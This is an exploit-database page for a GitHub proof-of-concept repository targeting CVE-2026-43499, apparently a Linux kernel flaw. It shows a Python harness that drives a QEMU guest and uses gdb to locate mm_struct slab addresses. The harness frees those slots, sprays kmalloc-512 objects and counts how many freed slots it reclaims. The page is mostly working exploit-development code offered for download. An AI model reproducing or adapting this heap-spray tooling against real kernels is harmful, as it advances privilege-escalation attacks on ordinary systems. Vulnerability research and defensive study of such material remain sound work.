Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files354
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

workspace/qemu/run_spray2.py

Python · 2,831 bytes
#!/usr/bin/env python3
import sys, time, re, subprocess
sys.path.insert(0,'/mnt/d/project/ow/qemu')
from serial_drive import Console
def gdb(script, timeout=600):
    open('/tmp/g.gdb','w').write(script)
    p=subprocess.run(['gdb-multiarch','-batch','-q','/mnt/d/project/ow/qemu/vmlinux.clang',
                      '-x','/tmp/g.gdb'],capture_output=True,text=True,timeout=timeout)
    return p.stdout+p.stderr
c=Console(); time.sleep(1); c.send(''); c.read_some(2)
def run(cmd,t=60):
    rc,out=c.run(cmd,timeout=t); print('### '+cmd[:80]); print(out); return out
run('cp /root/exp/spray1b /tmp/; chmod 755 /tmp/spray1b; rm -f /tmp/in /tmp/sb.log; mkfifo /tmp/in; (sleep 1800 > /tmp/in &); (/tmp/spray1b 256 < /tmp/in > /tmp/sb.log 2>&1 &); echo BG')
time.sleep(10)
out=run('grep -c PID /tmp/sb.log; tail -1 /tmp/sb.log')
pids=re.findall(r'PID (\d+) idx (\d+)',run('cat /tmp/sb.log'))
print('children:',len(pids))
lines=['set pagination off','target remote :1234']
for pid,idx in pids:
    lines.append('set $t%d=(struct task_struct*)pid_task(find_get_pid(%s),PIDTYPE_PID)'%(int(idx),pid))
    lines.append('printf "MM %s %%08x\\n", $t%d->mm'%(pid,int(idx)))
lines += ['detach','quit']
o=gdb('\n'.join(lines)+'\n',timeout=300)
mm=dict(re.findall(r'MM (\d+) ([0-9a-f]{8})',o))
print('snapshot',len(mm))
pages={}
for pid,a in mm.items():
    pages.setdefault(int(a,16)&~0x3fff,[]).append((pid,a))
full=sorted((b,v) for b,v in pages.items() if len(v)>=16)
print('full pages',len(full))
# prefill drain kmalloc-512
run('echo prefill 1500 > /tmp/in'); time.sleep(6)
run('grep -E "kmalloc-512|mm_struct" /proc/slabinfo; tail -1 /tmp/sb.log')
# kill, reap, spray
run('echo kill > /tmp/in'); time.sleep(4)
run('echo 2 > /proc/sys/vm/drop_caches; sleep 3; echo 2 > /proc/sys/vm/drop_caches')
time.sleep(4)
run('grep -E "kmalloc-512|mm_struct" /proc/slabinfo')
run('echo spray 800 > /tmp/in'); time.sleep(10)
run('tail -2 /tmp/sb.log; grep -E "kmalloc-512|mm_struct" /proc/slabinfo')
# check former mm slots (all 256)
addrs=[a for _,v in full for _,a in v]
print('checking',len(addrs),'slots on',len(full),'full pages')
hits=[]
for ci in range(0,len(addrs),64):
    chunk=addrs[ci:ci+64]
    lines=['set pagination off','target remote :1234']
    for a in chunk:
        lines.append('printf "CHK %s " , 0x%s'%(a,a))
        lines.append('x/1w 0x%x+24'%int(a,16))
    lines+=['detach','quit']
    o=gdb('\n'.join(lines)+'\n',timeout=300)
    for a,v in re.findall(r'CHK ([0-9a-f]{8})\s+0x[0-9a-f]+:\s+0x([0-9a-f]+)',o):
        if v=='4947414d': hits.append(a)
print('MAGIC hits at former mm slots: %d / %d'%(len(hits),len(addrs)))
for a in hits[:20]: print(' HIT',a)
# per-page hit distribution
from collections import Counter
cnt=Counter(int(a,16)&~0x3fff for a in hits)
for b,n in sorted(cnt.items()): print('PAGE %08x hits %d'%(b,n))